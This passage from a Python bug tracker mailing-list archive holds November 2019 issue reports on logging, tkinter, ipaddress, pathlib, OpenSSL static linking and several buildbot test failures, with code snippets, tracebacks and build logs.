	    for record in self.buffer:
	        self.target.handle(record)
	    self.buffer = []  # <-- change to `self.buffer.clear()`
    finally:
        self.release()
```

Example where this change is useful
===================================
This example creates a DequeMemoryHandler which uses the `collections.deque` as a buffer. Only the latest `capacity` number of records will stored in the buffer. The buffer is then flushed if and only if a record has a level greater or equal to `logging.ERROR`.

```
import collections
import logging
from logging.handlers import MemoryHandler


class DequeMemoryHandler(MemoryHandler):

    def __init__(self, capacity, *args, **kwargs):
        super().__init__(capacity, *args, **kwargs)
        self.buffer = collections.deque(maxlen=capacity)

    def shouldFlush(self, record):
        return record.levelno >= self.flushLevel


handler = DequeMemoryHandler(capacity=5, target=logging.StreamHandler())
logging.basicConfig(level=logging.INFO, handlers=[handler])

for i in range(1, 21):
    logging.info('Spam %d', i)
    if i % 10 == 0:
        logging.error(f'---> Eggs {i}')
```


Desired output (with the change):
---------------------------------
Spam 7
Spam 8
Spam 9
Spam 10
---> Eggs 10
Spam 17
Spam 18
Spam 19
Spam 20
---> Eggs 20


Actual output (without the change):
-----------------------------------
Spam 7
Spam 8
Spam 9
Spam 10
---> Eggs 10
Spam 11
Spam 12
Spam 13
Spam 14
Spam 15
Spam 16
Spam 17
Spam 18
Spam 19
Spam 20
---> Eggs 20

----------
components: Library (Lib)
messages: 356489
nosy: penlect, vinay.sajip
priority: normal
severity: normal
status: open
title: Clear buffer in MemoryHandler flush
type: enhancement
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38781>
_______________________________________

From report at bugs.python.org  Tue Nov 12 17:47:40 2019
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 12 Nov 2019 22:47:40 +0000
Subject: [New-bugs-announce] [issue38782] Convert importlib.abc to use
 typing.Protocol
Message-ID: <1573598860.27.0.897323663705.issue38782@roundup.psfhosted.org>


New submission from Brett Cannon <brett at python.org>:

Now that typing.Protocol exists we should convert the ABCs in importlib over to protocols as the import system functions off of structural typing and not nominal typing.

----------
components: Library (Lib)
messages: 356501
nosy: brett.cannon
priority: low
severity: normal
status: open
title: Convert importlib.abc to use typing.Protocol
type: enhancement
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38782>
_______________________________________

From report at bugs.python.org  Wed Nov 13 02:34:01 2019
From: report at bugs.python.org (John Liao)
Date: Wed, 13 Nov 2019 07:34:01 +0000
Subject: [New-bugs-announce] [issue38783] the window size is bigger than the
 specific size when create a window with a fix size in Windows platform
Message-ID: <1573630441.73.0.71709021905.issue38783@roundup.psfhosted.org>


New submission from John Liao <johnliao52 at gmail.com>:

from tkinter import *

master = Tk()
master.resizable(False, False)
master.geometry("100x100")

master.mainloop()

When using the simple code above to create a fix size window, the actual window client area's size is about 126x126 pixels.

Environment:
Windows 10 Home 64 bit edition, python 3.7.4, tkinter verion 8.4

----------
components: Tkinter
messages: 356519
nosy: johnliao
priority: normal
severity: normal
status: open
title: the window size is bigger than the specific size when create a window with a fix size in Windows platform
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38783>
_______________________________________

From report at bugs.python.org  Wed Nov 13 03:08:43 2019
From: report at bugs.python.org (Johannes Erwerle)
Date: Wed, 13 Nov 2019 08:08:43 +0000
Subject: [New-bugs-announce] [issue38784] ip_network does not clear/update
 the broadcast_address cache when the IP address is changed.
Message-ID: <1573632523.63.0.350382995031.issue38784@roundup.psfhosted.org>


New submission from Johannes Erwerle <jo at swagspace.org>:

The ip_network class in the ipaddress module does cache the broadcast_address attribute.
But when the network address is changed the cache is not cleared/updated.

Example:

> from ipaddress import ip_network
> 
> print("------------------------------")
> 
> net = ip_network("10.0.0.0/8")
> print("net", net)
> print("broadcast_address", net.broadcast_address)
> print("increase")
> net.network_address += 2**24
> print("net", net)
> print("net.broadcast_address", net.broadcast_address)
>
> print("------------------------------")
>
> net2 = ip_network("10.0.0.0/8")
> print("net2", net2)
> print("no call to broadcast_address")
> print("increase")
> net2.network_address += 2**24
> print("net2", net2)
> print("net2.broadcast_address", net2.broadcast_address)

----------
messages: 356522
nosy: 992jo
priority: normal
severity: normal
status: open
title: ip_network does not clear/update the broadcast_address cache when  the IP address is changed.
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38784>
_______________________________________

From report at bugs.python.org  Wed Nov 13 03:34:10 2019
From: report at bugs.python.org (Alex)
Date: Wed, 13 Nov 2019 08:34:10 +0000
Subject: [New-bugs-announce] [issue38785] Segmentation fault in asyncio
Message-ID: <1573634050.05.0.177430198539.issue38785@roundup.psfhosted.org>


New submission from Alex <alekskayunov at yandex.ru>:

Get Segmentation fault on run script in attachment.

----------
components: asyncio
files: scratch_15.py
messages: 356523
nosy: akayunov, asvetlov, yselivanov
priority: normal
severity: normal
status: open
title: Segmentation fault in asyncio
type: crash
versions: Python 3.7
Added file: https://bugs.python.org/file48712/scratch_15.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38785>
_______________________________________

From report at bugs.python.org  Wed Nov 13 08:47:00 2019
From: report at bugs.python.org (Tal Einat)
Date: Wed, 13 Nov 2019 13:47:00 +0000
Subject: [New-bugs-announce] [issue38786] Add parsing of https links to pydoc
Message-ID: <1573652820.15.0.63299586441.issue38786@roundup.psfhosted.org>


Change by Tal Einat <taleinat at gmail.com>:


----------
components: Library (Lib)
nosy: python273, taleinat
priority: normal
severity: normal
stage: needs patch
status: open
title: Add parsing of https links to pydoc
type: enhancement
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38786>
_______________________________________

From report at bugs.python.org  Wed Nov 13 09:30:40 2019
From: report at bugs.python.org (Marcel Plch)
Date: Wed, 13 Nov 2019 14:30:40 +0000
Subject: [New-bugs-announce] [issue38787] PEP 573: Module State Access from
 C Extension Methods
Message-ID: <1573655440.57.0.563143759574.issue38787@roundup.psfhosted.org>


New submission from Marcel Plch <mplch at redhat.com>:

Currently, there is not way to access per-module state from the methods of types defined in extension modules.

This PEP provides a fix to this issue.

PEP 573 - https://www.python.org/dev/peps/pep-0573/

Reference implementation - https://github.com/Dormouse759/cpython/tree/pep-c-rebase_newer

----------
components: Extension Modules
messages: 356533
nosy: Dormouse759, ncoghlan, petr.viktorin, scoder, terry.reedy
priority: normal
severity: normal
status: open
title: PEP 573: Module State Access from C Extension Methods
type: enhancement
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38787>
_______________________________________

From report at bugs.python.org  Wed Nov 13 09:36:28 2019
From: report at bugs.python.org (Ulrik Haugen)
Date: Wed, 13 Nov 2019 14:36:28 +0000
Subject: [New-bugs-announce] [issue38788] Inconsistent documentation of
 tell/seek on textiobase/textiowrapper
Message-ID: <1573655788.2.0.430319826045.issue38788@roundup.psfhosted.org>


New submission from Ulrik Haugen <qha at lysator.liu.se>:

The class hierarchy suggests the only tell/seek implementations one
needs to look up are in iobase and those have the semantics i was
expecting:
https://docs.python.org/3.8/library/io.html#class-hierarchy

Plowing on one might discover that there are separate implementations
of tell/seek for textiobase whose documentation probably explains the
unexpected values tell returns.


The documentation for tell available from the help() command still
reflects the semantics i was expecting.

The documentation for seek available from the help() command still
reflects the semantics i was expecting. It does however suggest that
the first argument has been renamed from offset to cookie which the
online documentation has not yet caught up to at:
https://docs.python.org/3.8/library/io.html#io.TextIOBase.seek

The documentation body for seek from the help() command still refers to
offset though there is now no argument of that name.


>>> help(fh.tell)
Help on built-in function tell:

tell() method of _io.TextIOWrapper instance
    Return current stream position.

>>> help(fh.seek)
Help on built-in function seek:

seek(cookie, whence=0, /) method of _io.TextIOWrapper instance
    Change stream position.
    
    Change the stream position to the given byte offset. The offset is
    interpreted relative to the position indicated by whence.  Values
    for whence are:
    
    * 0 -- start of stream (the default); offset should be zero or positive
    * 1 -- current stream position; offset may be negative
    * 2 -- end of stream; offset is usually negative
    
    Return the new absolute position.

----------
components: Library (Lib)
messages: 356534
nosy: qha
priority: normal
severity: normal
status: open
title: Inconsistent documentation of tell/seek on textiobase/textiowrapper
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38788>
_______________________________________

From report at bugs.python.org  Wed Nov 13 10:59:15 2019
From: report at bugs.python.org (Simon Friedberger)
Date: Wed, 13 Nov 2019 15:59:15 +0000
Subject: [New-bugs-announce] [issue38789] difflib lacks a way to check if
 results are empty
Message-ID: <1573660755.88.0.122394681946.issue38789@roundup.psfhosted.org>


New submission from Simon Friedberger <simon.nov2019 at a-oben.org>:

It seems there is no easy way to use difflib to show a diff but only when there actually are differences. The SequenceMatcher has ratio() but that isn't really available through Differ or any of the convenience functions. Vice versa, when using SequenceMatcher the pretty display is not available.

----------
components: Library (Lib)
messages: 356536
nosy: simon_
priority: normal
severity: normal
status: open
title: difflib lacks a way to check if results are empty
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38789>
_______________________________________

From report at bugs.python.org  Wed Nov 13 17:34:24 2019
From: report at bugs.python.org (Steve Dower)
Date: Wed, 13 Nov 2019 22:34:24 +0000
Subject: [New-bugs-announce] [issue38790] test_fcntl failing on macOS CI
Message-ID: <1573684464.1.0.222448542247.issue38790@roundup.psfhosted.org>


New submission from Steve Dower <steve.dower at python.org>:

See https://dev.azure.com/Python/cpython/_build/results?buildId=53812&view=ms.vss-test-web.build-test-results-tab

Traceback (most recent call last):
  File "/Users/runner/runners/2.160.0/work/1/s/Lib/unittest/case.py", line 60, in testPartExecutor
    yield
  File "/Users/runner/runners/2.160.0/work/1/s/Lib/unittest/case.py", line 659, in run
    self._callTestMethod(testMethod)
  File "/Users/runner/runners/2.160.0/work/1/s/Lib/unittest/case.py", line 616, in _callTestMethod
    method()
  File "/Users/runner/runners/2.160.0/work/1/s/Lib/test/test_fcntl.py", line 149, in test_lockf_exclusive
    p.start()
  File "/Users/runner/runners/2.160.0/work/1/s/Lib/multiprocessing/process.py", line 121, in start
    self._popen = self._Popen(self)
  File "/Users/runner/runners/2.160.0/work/1/s/Lib/multiprocessing/context.py", line 224, in _Popen
    return _default_context.get_context().Process._Popen(process_obj)
  File "/Users/runner/runners/2.160.0/work/1/s/Lib/multiprocessing/context.py", line 283, in _Popen
    return Popen(process_obj)
  File "/Users/runner/runners/2.160.0/work/1/s/Lib/multiprocessing/popen_spawn_posix.py", line 32, in __init__
    super().__init__(process_obj)
  File "/Users/runner/runners/2.160.0/work/1/s/Lib/multiprocessing/popen_fork.py", line 19, in __init__
    self._launch(process_obj)
  File "/Users/runner/runners/2.160.0/work/1/s/Lib/multiprocessing/popen_spawn_posix.py", line 47, in _launch
    reduction.dump(process_obj, fp)
  File "/Users/runner/runners/2.160.0/work/1/s/Lib/multiprocessing/reduction.py", line 60, in dump
    ForkingPickler(file, protocol).dump(obj)
AttributeError: Can't pickle local object 'TestFcntl.test_lockf_exclusive.<locals>.try_lockf_on_other_process'

----------
components: Tests, macOS
messages: 356565
nosy: alexandre.vassalotti, ned.deily, ronaldoussoren, steve.dower
priority: normal
severity: normal
stage: needs patch
status: open
title: test_fcntl failing on macOS CI
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38790>
_______________________________________

From report at bugs.python.org  Wed Nov 13 23:25:55 2019
From: report at bugs.python.org (Jonathan Conder)
Date: Thu, 14 Nov 2019 04:25:55 +0000
Subject: [New-bugs-announce] [issue38791] readline history file is hard-coded
Message-ID: <1573705555.33.0.800064361597.issue38791@roundup.psfhosted.org>


New submission from Jonathan Conder <jono.conder at gmail.com>:

Other tools such as bash and less allow their history file to be customised with an environment variable. Will add a patch for this in a bit.

This could also be customised using PYTHONSTARTUP, but then the user has to duplicate a bunch of code which is already part of the site module.

----------
components: Library (Lib)
messages: 356573
nosy: jconder
priority: normal
severity: normal
status: open
title: readline history file is hard-coded
versions: Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38791>
_______________________________________

From report at bugs.python.org  Thu Nov 14 01:47:31 2019
From: report at bugs.python.org (Zackery Spytz)
Date: Thu, 14 Nov 2019 06:47:31 +0000
Subject: [New-bugs-announce] [issue38792] IDLE calltips may not properly
 close on KeyboardInterrupt
Message-ID: <1573714051.12.0.86899018089.issue38792@roundup.psfhosted.org>


New submission from Zackery Spytz <zspytz at gmail.com>:

If a KeyboardInterrupt occurs while an IDLE calltip is being displayed,
the calltip will persist until a new calltip event. The calltip should
be removed immediately in this case.

----------
assignee: terry.reedy
components: IDLE
messages: 356580
nosy: ZackerySpytz, terry.reedy
priority: normal
severity: normal
status: open
title: IDLE calltips may not properly close on KeyboardInterrupt
type: behavior
versions: Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38792>
_______________________________________

From report at bugs.python.org  Thu Nov 14 05:16:42 2019
From: report at bugs.python.org (lutecki)
Date: Thu, 14 Nov 2019 10:16:42 +0000
Subject: [New-bugs-announce] [issue38793] pathlib.Path.resolve(strict=False)
 strips final path components
Message-ID: <1573726602.08.0.459408660928.issue38793@roundup.psfhosted.org>


New submission from lutecki <lukasz.matecki at gmail.com>:

When a directory doesn't exist, the resolve() method trims everything except the first component (a doesn't exist here):

import pathlib
p = pathlib.Path(".", "a", "b", "c")
p
WindowsPath('a/b/c')
p.resolve(strict=False)
WindowsPath('C:/Python36/Scripts/a')

I would expect C:/Python36/Scripts/a/b/c
Am I missing something?

----------
components: Windows
messages: 356589
nosy: lutecki, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: pathlib.Path.resolve(strict=False) strips final path components
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38793>
_______________________________________

From report at bugs.python.org  Thu Nov 14 07:30:13 2019
From: report at bugs.python.org (Lukas Vacek)
Date: Thu, 14 Nov 2019 12:30:13 +0000
Subject: [New-bugs-announce] [issue38794] Setup: support linking openssl
 staticly
Message-ID: <1573734613.61.0.712380405287.issue38794@roundup.psfhosted.org>


New submission from Lukas Vacek <lucas.vacek at gmail.com>:

Since 3.7 python depends on OpenSSL>=1.0.2 - this makes it hard to compile Python with SSL on older (yet still vendor supported) linux distributions.

It's easy to compile CPython even on old distributions like RHEL5, RHEL6, Ubuntu14.04 etc. except for ssl module.

Let's add an option to compile SSL staticly (--with-openssl-static) to make it easy to compile Python with SSL on systems with OpenSSL<1.0.2 as you usually don't want to install newer openssl as system libary nor mess with rpath/set LD_LIBRARY_PATH every time you run python.

When --with-openssl-static is not passed to ./configure everything should behave like before.

Installing CPython including ssl on system as old as RHEL5 with this option would be as easy as (after installing required build dependencies from rhel5 repositories and libffi(-devel) libraries):

wget https://www.openssl.org/source/openssl-1.0.2t.tar.gz
tar xf openssl-1.0.2t.tar.gz
cd openssl-1.0.2t
./config --openssldir=/etc/pki/tls -fPIC
make

wget https://www.python.org/ftp/python/3.7.5/Python-3.7.5.tgz
tar xf Python-3.7.5.tgz
cd Python-3.7.5
./configure --with-openssl-static=path_to_just_compiled_ssl --prefix=prefix_path
make
make install

----------
assignee: christian.heimes
components: SSL
messages: 356600
nosy: Lukas.Vacek, christian.heimes
priority: normal
severity: normal
status: open
title: Setup: support linking openssl staticly
type: enhancement
versions: Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38794>
_______________________________________

From report at bugs.python.org  Thu Nov 14 07:49:09 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 14 Nov 2019 12:49:09 +0000
Subject: [New-bugs-announce] [issue38795]
 test_asyncio.test_subprocess.test_terminate() timed out on AMD64 RHEL8 LTO
 + PGO 3.x
Message-ID: <1573735749.11.0.571095756017.issue38795@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at python.org>:

test_asyncio.test_subprocess.test_terminate() timed out on AMD64 RHEL8 LTO + PGO 3.x, and then test_asyncio.test_subprocess.test_kill() timed out on the same worker.

AMD64 RHEL8 LTO + PGO 3.x:
https://buildbot.python.org/all/#/builders/284/builds/232

0:14:52 load avg: 0.00 running: test_asyncio (14 min 30 sec)
0:15:22 load avg: 0.00 running: test_asyncio (15 min)
0:15:22 load avg: 0.00 [419/419/2] test_asyncio crashed (Exit code 1)
Timeout (0:15:00)!
Thread 0x00007f3e8b8d9740 (most recent call first):
  File "/home/buildbot/buildarea/3.x.cstratak-RHEL8-x86_64.lto-pgo/build/Lib/selectors.py", line 468 in select
  File "/home/buildbot/buildarea/3.x.cstratak-RHEL8-x86_64.lto-pgo/build/Lib/asyncio/base_events.py", line 1837 in _run_once
  File "/home/buildbot/buildarea/3.x.cstratak-RHEL8-x86_64.lto-pgo/build/Lib/asyncio/base_events.py", line 589 in run_forever
  File "/home/buildbot/buildarea/3.x.cstratak-RHEL8-x86_64.lto-pgo/build/Lib/asyncio/base_events.py", line 621 in run_until_complete
  File "/home/buildbot/buildarea/3.x.cstratak-RHEL8-x86_64.lto-pgo/build/Lib/test/test_asyncio/test_subprocess.py", line 188 in test_terminate
...
0:15:22 load avg: 0.00 Re-running test_asyncio in verbose mode
...
test_devnull_error (test.test_asyncio.test_subprocess.SubprocessMultiLoopWatcherTests) ... ok
test_devnull_input (test.test_asyncio.test_subprocess.SubprocessMultiLoopWatcherTests) ... ok
test_devnull_output (test.test_asyncio.test_subprocess.SubprocessMultiLoopWatcherTests) ... ok
test_empty_input (test.test_asyncio.test_subprocess.SubprocessMultiLoopWatcherTests) ... ok
test_exec_loop_deprecated (test.test_asyncio.test_subprocess.SubprocessMultiLoopWatcherTests) ... ok
Timeout (0:15:00)!
Thread 0x00007fc16479e740 (most recent call first):
  File "/home/buildbot/buildarea/3.x.cstratak-RHEL8-x86_64.lto-pgo/build/Lib/selectors.py", line 468 in select
  File "/home/buildbot/buildarea/3.x.cstratak-RHEL8-x86_64.lto-pgo/build/Lib/asyncio/base_events.py", line 1837 in _run_once
  File "/home/buildbot/buildarea/3.x.cstratak-RHEL8-x86_64.lto-pgo/build/Lib/asyncio/base_events.py", line 589 in run_forever
  File "/home/buildbot/buildarea/3.x.cstratak-RHEL8-x86_64.lto-pgo/build/Lib/asyncio/base_events.py", line 621 in run_until_complete
  File "/home/buildbot/buildarea/3.x.cstratak-RHEL8-x86_64.lto-pgo/build/Lib/test/test_asyncio/test_subprocess.py", line 175 in test_kill
  File "/home/buildbot/buildarea/3.x.cstratak-RHEL8-x86_64.lto-pgo/build/Lib/unittest/case.py", line 616 in _callTestMethod

----------
components: Tests, asyncio
messages: 356602
nosy: asvetlov, vstinner, yselivanov
priority: normal
severity: normal
status: open
title: test_asyncio.test_subprocess.test_terminate() timed out on AMD64 RHEL8 LTO + PGO 3.x
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38795>
_______________________________________

From report at bugs.python.org  Thu Nov 14 07:52:54 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 14 Nov 2019 12:52:54 +0000
Subject: [New-bugs-announce] [issue38796] test_multiprocessing_forkserver:
 test_mymanager_context() failed on AMD64 FreeBSD Non-Debug 3.x
Message-ID: <1573735974.8.0.945088390844.issue38796@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at python.org>:

It looks like a race condition in the test. If I recall correctly, there is an hardcoded timeout somewhere (1 second?).

https://buildbot.python.org/all/#/builders/368/builds/72

======================================================================
FAIL: test_mymanager_context (test.test_multiprocessing_forkserver.WithManagerTestMyManager)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/usr/home/buildbot/python/3.x.koobs-freebsd-9e36.nondebug/build/Lib/test/_test_multiprocessing.py", line 2807, in test_mymanager_context
    self.assertIn(manager._process.exitcode, (0, -signal.SIGTERM))
AssertionError: None not found in (0, -15)

----------
components: Tests
messages: 356603
nosy: vstinner
priority: normal
severity: normal
status: open
title: test_multiprocessing_forkserver: test_mymanager_context() failed on AMD64 FreeBSD Non-Debug 3.x
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38796>
_______________________________________

From report at bugs.python.org  Thu Nov 14 07:58:05 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 14 Nov 2019 12:58:05 +0000
Subject: [New-bugs-announce] [issue38797] x86-64 High Sierra 3.x buildbot
 worker fails to build Python: python.exe setup.py does crash with a bus
 error
Message-ID: <1573736285.84.0.0787194812002.issue38797@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at python.org>:

Build 2680 was green, then the buildbot worker became offline, and build fails since build 2694 (when the worker came back).

x86-64 High Sierra 3.x:
https://buildbot.python.org/all/#/builders/145/builds/2694

...
gcc -c -Wno-unused-result -Wsign-compare -g -O0 -Wall -Qunused-arguments  -Qunused-arguments   -std=c99 -Wextra -Wno-unused-result -Wno-unused-parameter -Wno-missing-field-initializers -Wstrict-prototypes -Werror=implicit-function-declaration -fvisibility=hidden  -I./Include/internal  -I. -I./Include -I/usr/local/include -I/opt/X11/include -I/usr/local/opt/bison/include -I/usr/local/opt/bzip2/include -I/usr/local/opt/expat/include -I/usr/local/opt/icu4c/include -I/usr/local/opt/libffi/include -I/usr/local/opt/ncurses/include -I/usr/local/opt/openssl/include -I/usr/local/opt/readline/include -I/usr/local/opt/sqlite/include -I/usr/local/opt/zlib/include  -I/usr/local/include -I/opt/X11/include -I/usr/local/opt/bison/include -I/usr/local/opt/bzip2/include -I/usr/local/opt/expat/include -I/usr/local/opt/icu4c/include -I/usr/local/opt/libffi/include -I/usr/local/opt/ncurses/include -I/usr/local/opt/openssl/include -I/usr/local/opt/readline/include -I/usr/local/opt/sqlite/include -I/usr/local/opt/zlib/include  -DPy_BUILD_CORE -o Python/frozen.o Python/frozen.c
rm -f libpython3.9d.a
ar rcs libpython3.9d.a Modules/getbuildinfo.o Parser/acceler.o Parser/grammar1.o Parser/listnode.o Parser/node.o Parser/parser.o Parser/token.o  Parser/myreadline.o Parser/parsetok.o Parser/tokenizer.o Objects/abstract.o Objects/accu.o Objects/boolobject.o Objects/bytes_methods.o Objects/bytearrayobject.o Objects/bytesobject.o Objects/call.o Objects/capsule.o Objects/cellobject.o Objects/classobject.o Objects/codeobject.o Objects/complexobject.o Objects/descrobject.o Objects/enumobject.o Objects/exceptions.o Objects/genobject.o Objects/fileobject.o Objects/floatobject.o Objects/frameobject.o Objects/funcobject.o Objects/interpreteridobject.o Objects/iterobject.o Objects/listobject.o Objects/longobject.o Objects/dictobject.o Objects/odictobject.o Objects/memoryobject.o Objects/methodobject.o Objects/moduleobject.o Objects/namespaceobject.o Objects/object.o Objects/obmalloc.o Objects/picklebufobject.o Objects/rangeobject.o Objects/setobject.o Objects/sliceobject.o Objects/structseq.o Objects/tupleobject.o Objects/typeobject.o Objects/unicodeobject.o Objects/unicodectype.o Objects/weakrefobject.o Python/_warnings.o Python/Python-ast.o Python/asdl.o Python/ast.o Python/ast_opt.o Python/ast_unparse.o Python/bltinmodule.o Python/ceval.o Python/codecs.o Python/compile.o Python/context.o Python/dynamic_annotations.o Python/errors.o Python/frozenmain.o Python/future.o Python/getargs.o Python/getcompiler.o Python/getcopyright.o Python/getplatform.o Python/getversion.o Python/graminit.o Python/hamt.o Python/import.o Python/importdl.o Python/initconfig.o Python/marshal.o Python/modsupport.o Python/mysnprintf.o Python/mystrtoul.o Python/pathconfig.o Python/peephole.o Python/preconfig.o Python/pyarena.o Python/pyctype.o Python/pyfpe.o Python/pyhash.o Python/pylifecycle.o Python/pymath.o Python/pystate.o Python/pythonrun.o Python/pytime.o Python/bootstrap_hash.o Python/structmember.o Python/symtable.o Python/sysmodule.o Python/thread.o Python/traceback.o Python/getopt.o Python/pystrcmp.o Python/pystrtod.o Python/pystrhex.o Python/dtoa.o Python/formatter_unicode.o Python/fileutils.o Python/dynload_shlib.o    Modules/config.o Modules/getpath.o Modules/main.o Modules/gcmodule.o Modules/posixmodule.o  Modules/errnomodule.o  Modules/pwdmodule.o  Modules/_sre.o  Modules/_codecsmodule.o  Modules/_weakref.o  Modules/_functoolsmodule.o  Modules/_operator.o  Modules/_collectionsmodule.o  Modules/_abc.o  Modules/itertoolsmodule.o  Modules/atexitmodule.o  Modules/signalmodule.o  Modules/_stat.o  Modules/timemodule.o  Modules/_threadmodule.o  Modules/_localemodule.o  Modules/_iomodule.o Modules/iobase.o Modules/fileio.o Modules/bytesio.o Modules/bufferedio.o Modules/textio.o Modules/stringio.o  Modules/faulthandler.o  Modules/_tracemalloc.o Modules/hashtable.o  Modules/symtablemodule.o  Modules/xxsubtype.o Python/frozen.o
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/ranlib: file: libpython3.9d.a(dynamic_annotations.o) has no symbols
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/ranlib: file: libpython3.9d.a(pymath.o) has no symbols
gcc -L/usr/local/lib -L/opt/X11/lib -L/usr/local/opt/bison/lib -L/usr/local/opt/bzip2/lib -L/usr/local/opt/expat/lib -L/usr/local/opt/icu4c/lib -L/usr/local/opt/libffi/lib -L/usr/local/opt/ncurses/lib -L/usr/local/opt/openssl/lib -L/usr/local/opt/readline/lib -L/usr/local/opt/sqlite/lib -L/usr/local/opt/zlib/lib  -L/usr/local/lib -L/opt/X11/lib -L/usr/local/opt/bison/lib -L/usr/local/opt/bzip2/lib -L/usr/local/opt/expat/lib -L/usr/local/opt/icu4c/lib -L/usr/local/opt/libffi/lib -L/usr/local/opt/ncurses/lib -L/usr/local/opt/openssl/lib -L/usr/local/opt/readline/lib -L/usr/local/opt/sqlite/lib -L/usr/local/opt/zlib/lib   -Wl,-stack_size,1000000  -framework CoreFoundation -o python.exe Programs/python.o libpython3.9d.a -ldl   -framework CoreFoundation    
ld: warning: text-based stub file /System/Library/Frameworks//CoreFoundation.framework/CoreFoundation.tbd and library file /System/Library/Frameworks//CoreFoundation.framework/CoreFoundation are out of sync. Falling back to library file for linking.
ld: warning: text-based stub file /System/Library/Frameworks//CoreFoundation.framework/CoreFoundation.tbd and library file /System/Library/Frameworks//CoreFoundation.framework/CoreFoundation are out of sync. Falling back to library file for linking.
./python.exe -E -S -m sysconfig --generate-posix-vars ;\
	if test $? -ne 0 ; then \
		echo "generate-posix-vars failed" ; \
		rm -f ./pybuilddir.txt ; \
		exit 1 ; \
	fi
 CC='gcc' LDSHARED='gcc -bundle -undefined dynamic_lookup -L/usr/local/lib -L/opt/X11/lib -L/usr/local/opt/bison/lib -L/usr/local/opt/bzip2/lib -L/usr/local/opt/expat/lib -L/usr/local/opt/icu4c/lib -L/usr/local/opt/libffi/lib -L/usr/local/opt/ncurses/lib -L/usr/local/opt/openssl/lib -L/usr/local/opt/readline/lib -L/usr/local/opt/sqlite/lib -L/usr/local/opt/zlib/lib  -L/usr/local/lib -L/opt/X11/lib -L/usr/local/opt/bison/lib -L/usr/local/opt/bzip2/lib -L/usr/local/opt/expat/lib -L/usr/local/opt/icu4c/lib -L/usr/local/opt/libffi/lib -L/usr/local/opt/ncurses/lib -L/usr/local/opt/openssl/lib -L/usr/local/opt/readline/lib -L/usr/local/opt/sqlite/lib -L/usr/local/opt/zlib/lib  ' OPT='-g -O0 -Wall' 	_TCLTK_INCLUDES='' _TCLTK_LIBS='' 	./python.exe -E ./setup.py  build
/bin/sh: line 1: 16679 Bus error: 10           CC='gcc' LDSHARED='gcc -bundle -undefined dynamic_lookup -L/usr/local/lib -L/opt/X11/lib -L/usr/local/opt/bison/lib -L/usr/local/opt/bzip2/lib -L/usr/local/opt/expat/lib -L/usr/local/opt/icu4c/lib -L/usr/local/opt/libffi/lib -L/usr/local/opt/ncurses/lib -L/usr/local/opt/openssl/lib -L/usr/local/opt/readline/lib -L/usr/local/opt/sqlite/lib -L/usr/local/opt/zlib/lib  -L/usr/local/lib -L/opt/X11/lib -L/usr/local/opt/bison/lib -L/usr/local/opt/bzip2/lib -L/usr/local/opt/expat/lib -L/usr/local/opt/icu4c/lib -L/usr/local/opt/libffi/lib -L/usr/local/opt/ncurses/lib -L/usr/local/opt/openssl/lib -L/usr/local/opt/readline/lib -L/usr/local/opt/sqlite/lib -L/usr/local/opt/zlib/lib  ' OPT='-g -O0 -Wall' _TCLTK_INCLUDES='' _TCLTK_LIBS='' ./python.exe -E ./setup.py $quiet build
make: *** [sharedmods] Error 138
program finished with exit code 2

----------
components: Build, macOS
messages: 356605
nosy: ned.deily, ronaldoussoren, vstinner
priority: normal
severity: normal
status: open
title: x86-64 High Sierra 3.x buildbot worker fails to build Python: python.exe setup.py does crash with a bus error
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38797>
_______________________________________

From report at bugs.python.org  Thu Nov 14 09:04:03 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 14 Nov 2019 14:04:03 +0000
Subject: [New-bugs-announce] [issue38798]
 test_asyncio.test_sendfile.test_sendfile_ssl_pre_and_post_data():
 Overlapped still has pending operation at deallocation error on AMD64
 Windows8.1 Non-Debug 3.x
Message-ID: <1573740243.81.0.265051465688.issue38798@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at python.org>:

AMD64 Windows8.1 Non-Debug 3.x:
https://buildbot.python.org/all/#/builders/12/builds/3450

test_sendfile_ssl_pre_and_post_data (test.test_asyncio.test_sendfile.ProactorEventLoopTests) ...

Warning -- Unraisable exception
Traceback (most recent call last):
  File "D:\buildarea\3.x.ware-win81-release.nondebug\build\lib\asyncio\windows_events.py", line 430, in select
    self._poll(timeout)
